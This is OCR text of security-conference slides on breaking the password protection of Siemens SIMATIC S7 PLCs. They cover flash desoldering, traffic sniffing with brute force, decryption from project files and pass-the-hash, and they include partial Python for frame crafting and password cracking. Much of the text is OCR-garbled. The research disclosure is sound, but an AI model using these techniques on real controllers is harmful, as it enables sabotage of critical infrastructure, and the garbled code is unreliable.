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Breaking Siemens SIMATIC S7 PLC
Protection Mechanism
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Who am | ?

* Gao Jian ="-NSFOCUS
* ICS security researcher at NSFCOUS

* Focused on PLC and SCADA vulnerability exploitation &
security enhancement

* Acknowledged by Schneider, Codesys, Siemens and etc.
* Contact>
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Agenda

* Introduction

* Bypass S7-200 PLC protection: Desoldering the flash

* Bypass S7-200 Smart PLC protection:Traffic Sniffing

* Bypass S7-300/400 PLC protection: Find key in *.dbt file
* Bypass S7-1200 PLC protection:Pass The Hash

* How to protect PLC better
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Introduction

* SIMATIC is a series of programmable logic controller and automation systems,
developed by Siemens.

* SIMATIC PLCs are widely used worldwide, typically in control scenarios for
critical information infrastructures, such as energy, water, power and etc.
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Why?

* Obtain the protected application program - the core intellectual property.

» We can perform various sensitive operations (execute upload program,
download program, start, stop and etc.) after breaking the protection
mechanism.
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Bypass S7-200 PLC protection

Password
Modification of the Passw vile : ut ntro and modification to the PLC.

* The program cannot be e o
uploaded Defauls

Privileges

" Full [Level 1)
" Partial (Level 2)
" Minimum (Level 3)

sallow Upload (Level 4)

Password
Verify
. Y
* We f n breakin - | o st
Disallow Upload. This level of password protection will prevent the program from ever being

uploaded, [even when a cormect password is entered. |This option will also disallow execution

status, editin run mode, and project compare. PLC functions are protected in the same

protection

Configuration parameters must be downloaded before they take effect.

or Help and Support Cancel Default Al
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Level 4 protection mechan

System Block

Password

vord privileges allov

Enable level 4 protection in —
[€H System Block
the system block =i

{3 Password Privileges
{F Output Tables
& Input Filters

£3 Pulse Catch Bits
{F Background Time E : / 3 t + 140, OxAAAAuU, 8);

{F EM Configurations word [ikkknrk

{4 Configure LED rify [oooonoe]

£ Increase Memory
on will prevent the
a is

Simple XOR algorithm

30037161: 30.09.2020 13:53:35.829 +0.0
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Compile and download system
blocks to the controller

3I0N37263: 30.09.2020 13:53:35.901 +0.0
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System block is saved into
EEPROM
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Desoldering the flash

Desoldering the flash, read the flash, change 1-byte password level field, and
download original system block parameters.
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How to bypass the 2-byte CRC checksum

f _datal-a2b_hex('68EFEF6802005C320300000001000200DEQ00O1BO100DAGOFB "' ) +sys block partl
datal-f_datal+chr(self.checksum(f_datal[4:]))+"\x16"

f_data2-a2b_hex('6887876802005C3203000000020002007600001B00007200FB" )+sys_block_part2
data2-f_data2+chr(self.checksum(f_data2[4:]))+"\x16"

self.send(datal)

time.sleep(2)

E  IEEEEEREERRRR ’ t b2a_hex(self.recv(1,0))

- sys: block pa self.send(a2b_hex('1002007c7e16"'))
‘rt2 : j time.sleep(1)

int b2a_hex(self.recvall())

Extract the system block parameters from the original bin file, download the
system block parameters, and the correct 2-byte
checksum.
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Bypass S7-200 Smart PLC protection

* Interception of communication
traffic using MITM attacks

* Breaking protection by finding
the key
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Authentication algorithm analysis
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Authentication algorithm analysis

iy o AR ) Reversing STEP7 Micro/WIN SMART

, 20u);
, 20u);

,» 40u, );

def s7200smartpwd(pwd,rkey):
h=SHA. new()
h.update(pwd+rkey[0:2])
skeyl=h.digest()
skey2-=rkey[2:22]
key '0009DB09000714550006FE3B8ADCC26D000407B7000133000002FA01

sec_temp=bytearray(a2b_hex(key)) . .
sec_temp[12:14]-rkey[0:2] | have implemented a script

secl= b2a_hex(sec_temp) to calculate the hash
hl = HMAC.new(str(sec_temp),digestmod=SHA)

hl.update(skeyl+skey2)
fin_key=hl.digest()
fin_key SECCONF
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Brute force password

3 2020-07-08
4 2020-07-08
5 2020-07-08
6 2020-07-08
7 2020-07-08
338 2020-07-08
339 2020-07-08
340 2020-07-08
341 2020-07-08
342 2020-07-08

33
33
33
33
33
3

17:09:06.
17:09:06.
17:09:06.
17:09:06.
.363596
17:09:06.
17:09:06.
17:09:06.
17:09:06.
17:09:06.

17:09

263518
263540
265020
265441

363618
364984
365904
463554
463575

343 2020-07-08 17:09:06.465043

A7

18 ¥
19
20
21V
22
2L 1,
pL
25

10.65.60.93
10.65.60.231
10.65.60.93
10.65.60.231
10.65.60.93
10.65.60.231
10.65.60.93
10.65.60.23
10.65.60.9
10.65.60.231
10.65.60.93

__name___
hash="3ef8b40004c17daldc6fbl12abbf534c28538e9b7"
rkey-"d2a30bbfc@e3b378b6ef0380c3ed4d48df21ddbd45eb’

s
password

range(1000000) :
str(id).zfill(6)

10.65.60.231
10.65.60.93
10.65.60.231
10.65.60.93
10.65.60.231
10.65.60.93
10.65.60.231
10.65.60.93
10.65.60.231
10.65.60.93
10.65.60.231

__main__ ":

TCP
S7CoMM
S7COMM
coTeP
TCP
S7COMM
S7COMM
coTep
TCP
S7COMM
S7COMM

102 - 12992 [ACK]
ROSCTR: [Userdata]
ROSCTR: [Userdata]

DT TPDU () [COTP

102 » 12992 [ACK]
ROSCTR: [Job 1
ROSCTR: [Ack_Data]

DT TPDU (@) [COTP

102 » 12992 [ACK]
ROSCTR: [Userdata]

ROSCTR:

[

Userdata]

Seq=8844 Ack=3065 Win=8192 Len=0

Function:[Request] -> [Security] -> [Unknown subfunc: 0x@3]

Function:[Response] -> [Security] -> [Unknown subfunc: 0x@3]

fragment, © bytes]

Seq=8899 Ack=3101 Win=8192 Len=0
Function:[Setup communication]
Function:[Setup communication]
fragment, 0 bytes]

Seq=8926 Ack=3133 Win=8192 Len=0

Function:[Request] -> [Security] -> [Unknown subfunc: 0x04]
Function:[Response] -> [Security] -> [Unknown subfunc: 0x04]

b2a_hex(s7200smartpwd(password,a2b hex(rkey)))==hash:
' 'find password:

password

—
find password: 843652

[Finished in 17.2s]

Extract the Challenge &
Response pair from the
traffic and then Brute-
force the password
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Bypass S7-300/400 PLC protection

 online brute-force attack

s o B 98N

Find:

Properties — CPU 315-2 PN/DP - (R0/S2)

R tive M ; ‘ Interr ] Time-of-Day Interrupts
] Interrupt
Cyclic Interrupts ‘ Diagnost 2 tion ‘

Protection level Mode

1: No protection ~
" Process mode
B
- Z:

Write-protection

Password: « Testmode

P

Reenter password:

istributed rack)

Press F1 to get Help.

SECCONF
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Decrypt password in the project file

./hOmSave7/S7THK31AX/HATTRME1.DBT

/ I

Kl
L8

~ A
910
v
i/ J

00 Jlgned int i; //

o
o

b

L8
C

if ( !'sub_1000D480(&z1) )
CString::operator=(&al, off_1809C50C);
while ( sub_1000D480(&z1) < 8 )
CString: :operator+=(&al, 32);
= ( id *)unknown_libname_203(&

[
o

o XN

[
[ B

t.SIMATIC 315(r)
eevavee..CPU 31
5-2 PN/DP.......

[d g P |

8
2
2
2
2

~
o)
o
2
o
ol
-
ol
31

=
(]
O b

memcpy ( , 8u);

(%)

o

o

)

MO
o x

(%]
co
o
o

M= BxAAAAU;
< 4; ++i )

oD
-]
[ae]

]

~
914
v Y

(¥4

./STBIN/S7HKCOMX.dII
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Bypass $7-1200 PLC protection

» Advanced options

Web server access Access level Access permi...

* Breaking S7-1200

General

PLC protection—data |- e

» Digital outputs

integrity checking & e

Al 2

verification/protocol encryption High speed counters (HSC)

Pulse generators (PTO/PWM)

) Full access (no protection)

No access (complete protection)

Full access (no protection):

Startup TIA Portal users and HMI applications will have access to all functions.
Cycle No password is required.

Communication load
tem and clock memory
) Server
Multilingual support
Time of day
»

» OPCUA

SECCONF
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Memory Dump

=
Erve
[

Desoldering the flash to extract firmware&
application data

Exploiting UART vulnerabilities to dump memory ”
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Analysis of memory
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The size of memory is 128M, starting with
BootLoader, followed by firmware & application data

Function name

F] sub_E15080
7] sub_E15DB4
7] sub_E16BIC
sub_E16BF4
sub_E16C0C
sub_E16C24
sub_E16C3C
sub_E16C54
sub_E16C7C
sub_E16C8C
sub_E16024
sub_E160C0
sub_E16E74
sub_E16FD0
sub_E17008
sub_E17244
sub_E17408
sub_E17428
sub_E17430
sub_E17498
sub_E1740C
sub_E17520
sub_E17564
sub_E176A8
sub_E17624
sub_E176E0
sub_E177B4
sub_E17848
sub_E178FC
sub_E17960
sub_E17A2C
sub_E1TAES
sub_E17B60
sub_E17C2C
sub_E17000
sub_E17094

[~

S

SIS S S S

“h |

Segment
ROM
ROM
ROM
ROM
ROM
ROM
ROM
ROM
ROM
ROM
ROM
ROM
ROM
ROM
ROM
ROM
ROM
ROM
ROM
ROM
ROM
ROM
ROM
ROM
ROM
ROM
ROM
ROM
ROM
ROM
ROM
ROM
ROM
ROM
ROM
ROM

19031B92C
10031892C
M:0031892C
1:0031B892C sub_31B92C
10031B92C
i:0031892C
M:0031B930
100318934
100318938
M:0031B93C
100318940
1:8031B944
100318948
M:0031B94C
100318950
100318950
M:0031B950
100318950

100318974
1:8031B974
1:8031B974

100318974

:@031B974 sub_31B974
1:8031B974
1:8031B974

100318978
1:8031B97C
1:2031B930

100318934

100318938
1: 203189388
1:8031B938

:00931B93C
1:80931B98C

Module=1215C DC/DC/DC

» {R4,LR}
R1, #2
sub_3ECE44
R4, RO
R1, #

R2, #2

RO, R2
sub_304C54
RO, R4

sP!, {R4,PC}

aSiemensSimatic

RO, #0
sub_3ED@IC
R1, #
R2, #2
RO, R2
sub_304C54

FW Version=V4.5.0

30ECD4+101p

tps ok

info

start address

length

text

0x00043700

OxFA37FC

rodata

OxO0FEGFO0

O0x42F410

data

0x01416340

Ox0746E8

tls.cond.data

Ox0148AA28

0X00

bss

0x01E01040

OxB31EAQ

SECCONF
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Locate the password hash

: 00 00 00 00 00 00 OO 00 00 00 00 00 00 00 00 Al S iss s i
: 00 00 00 00 00 OO OO 00 02 57 F1 74 00 00 00 00 ......... WL
: 00 00 00 00 |DA 39 A3 EE S5E 6B 4B OD 32 55 BF EF ....U9£iAkK. 2U;1
: /95 60 18 90 AF D8 07 09 00 00 00 OO0 DA 39 A3 EE| -‘.. e U9£i
: [SE 6B 4B 0D 32 55 BF EF 95 60 18 90 AF D8 07 09| AkK.2U;i- .. @..

: 00 00 00 00 D8 C5 49 A3 E9 67 08 EF 45 EA 76 2D GAIEeg iEév-
: 4E 4F 1D 59 44 3B 65 E2 /00 00 00 00 00 00 00 0O NO I e
: 00 00 00 00 00 OO0 OO0 OO0 OO OO OO OO OO OO0 00 00 ....vvvennnnnnns
: 00 00 00 00 01 01 74 50 02 57 F2 94 00 00 06 80 ...... tP.Wo" 3

HMI access protection password hash

B Read access protection password hash

B Full access protection password hash

20000001801DBFB1

: 000000018010DBFB9
: 0000000180106FC1
: 0000000180106FCE
: 00000001801DBFCo
: 00000001801DBFCE
: 00000001801DBFD3
: 00000001801DBFDS
: 00000001801DBFD7
: 000000018010B6FD7
: 000000018010B6FD7
: 00000001801DBFD7
: 00000001801DBFD7
: 00000001801DBFEL
: 00000001801DBFEL
: 00000001801DBFEL
: 00000001801DBFES
:eeeeeeeloelosﬁec

loc_1801DBFD7:

loc_180@1DBFE1:

Reverse OMSp_core_managed.dll, the password hash algorithm is SHA 1

: 000000013010BF6B
: 00000001801DBF6E
: 00000001801DBF71
: 00000001801DBF73
: 00000001801DBF75
: 000000018010BF77
: 0000000180106F7A
: 00000001801DBF7C
: 00000001801DBF7E
: 00000001801DBF86
: 00000001801DBF89
: 00000001801DBFSE
: 000000018010BF91
: 000000018010BF95
: 00000001801DBF9A
: 00000001801DBFAL
: 00000001801DBFA9

rbx, r8

rex, rex

short loc_1801DBFD7
edx, edx
short loc_
rbx, rbx
;ho t loc_1801DBFD7

1801DBFD7

ub 10010(586
rdx, rbx

sub_1801DC810
eax, eax
short loc_1801DBFE1

- cconr
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Pass the Hash

J4 Siemens - C oc! i roject2\Project2

Project Edit View Insert Online Options Tools Window Help

3 d  EEx0te S RHER

Project tree

] Project2

Add new device

sy Devices &n
Ungrouped devices

@ Security settings

28 Cross-device functions

(4§ Common data
Documentation

© Languages & resources

& Version control interfa
line access

(i Card ReaderiUSB memory

Authorized connection |Pi E_i ﬁ 92.168.0. X

A password is needed to access read-protected blocks ofa
protected device.

General

ssage
Project Project2 created.

Scanning for d nple

v | Details view

4 Portal view

—mX

Totally Integrated Automation
PORT,

Options

v | Find and replace

v | Languages & resources

B v project Project? created.

17:30

ABDE e

S7-1215C(firmware
V4.5.0)

SECCONF
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About firmware V4.5.0

Update V4.5.0

Download a
project with ! by - . -

" nd TLS (Transport Layer Security) to enable secure PG/PC and HMI communication
access atection of confiden ng
protection
enabled

As of May 20, 2021, there is no official download address or
information available for TIA Portal With Step 7 V17 Basic or
Professional software.

S7-1215C(firmware V4.5.0)

TIA V13 project +Hfirmware V4.5.0=access —
protection failed!!! SECCONF
AMSTERDAM - 2021
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How to protect PLC better
l

Communication Protocol

[ —
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Thank You
For your attention
i
| \HITRSECCONF/
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